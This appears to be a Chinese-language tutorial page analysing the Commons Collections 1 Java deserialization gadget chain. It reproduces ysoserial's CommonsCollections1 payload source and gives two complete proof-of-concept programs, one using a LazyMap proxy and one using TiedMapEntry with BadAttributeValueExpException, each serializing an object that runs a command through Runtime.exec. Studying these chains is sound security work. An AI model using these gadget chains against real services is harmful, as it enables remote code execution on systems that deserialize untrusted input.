背景

在ysoserial中CC1的payload中使用了LazyMapLazyMapTransformedMap类似,都继承 AbstractMapDecorator

image.png

我们可以先看看payload

package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

    Requires:
        commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

效果如下

image.png

TransformedMap是在写入元素的时候执行transform方法,LazyMap是在其get方法中执行的 this.factory.transform LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 this.factory.transform 方法去获取一个值

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

factory也是可控的

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

所以构造poc的时候只要令factory为精心构造的ChainedTransformer就行,因此我们找一下哪里可能调用了LazyMapget方法 但是我们在AnnotationInvocationHandler#readObject函数中并没有看到有执行get方法,所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

image.png

AnnotationInvocationHandler#invoke看到invoke方向就大概联想到Java的动态代理机制。

动态代理

总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发

这里再举个例子说明一下如何自动调用的invoke方法

InvocationHandlerExample.class

InvocationHandlerExample类继承了InvocationHandler,实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object 。

package com.myproject;

import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        InvocationHandlerExample invocationHandlerExample = new InvocationHandlerExample(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandlerExample);
        proxyMap.put("1","Hacked Object");
        System.out.println(proxyMap.get("1"));
    }
}

image.png

可以看到调用的get方法,但是被我们动态代理中的invoke方法拦截了,返回了Hacked Object 也就是说这个Map对象经过动态代理处理之后,动态代理对象调用任何一个方法时会调用handler中的invoke方法

我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

image.png

构建POC

sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 构建对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);  // 代理对象
handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);  // 包裹
package com.myproject;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("a", 1);
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        // 构建对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);  // 代理对象
        handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);  // 包裹


        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("payload.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(handler);

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

image.png

LazyMap 利用链补充

CC1受限制于jdk1.7,上面的poc使用了动态代理,那么有没有不使用动态代理的方法呢?(当然这里依然还是使用jdk1.7) LazyMap类的get方法中调用了transform方法,那么除了AnnotationInvocationHandlerinvoke方法中调用了get方法外,还有,TiedMapEntry类的getValue方法也调用了get方法

image.png

而且this.map我们也可以控制,但是我们最终要找的还是readObject方法中的触发点,所以继续网上找,看看哪里调用了TiedMapEntrygetValue方法,找到TiedMapEntry类的toString方法

image.png

toString方法在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用,所以,现在我们找找TiedMapEntry的对象当做字符串处理的地方,找到了BadAttributeValueExpExceptionreadObject方法中有相关调用:

image.png

可以看到第三个if分支里调用了valObj.toString(),而valObj=gf.get("val", null),这里其实就是读取传过来对象的val属性值,所以,只要我们控制**BadAttributeValueExpException**对象的**val属性**的值为我们精心构造的**TiedMapEntry**对象就行。所以,就有了下面的poc:

package com.myproject;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("a", 1);
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        // 构建对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"123");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("payload.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}
Copyright © aaron 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-09-06 15:58:14

results matching ""

    No results matching ""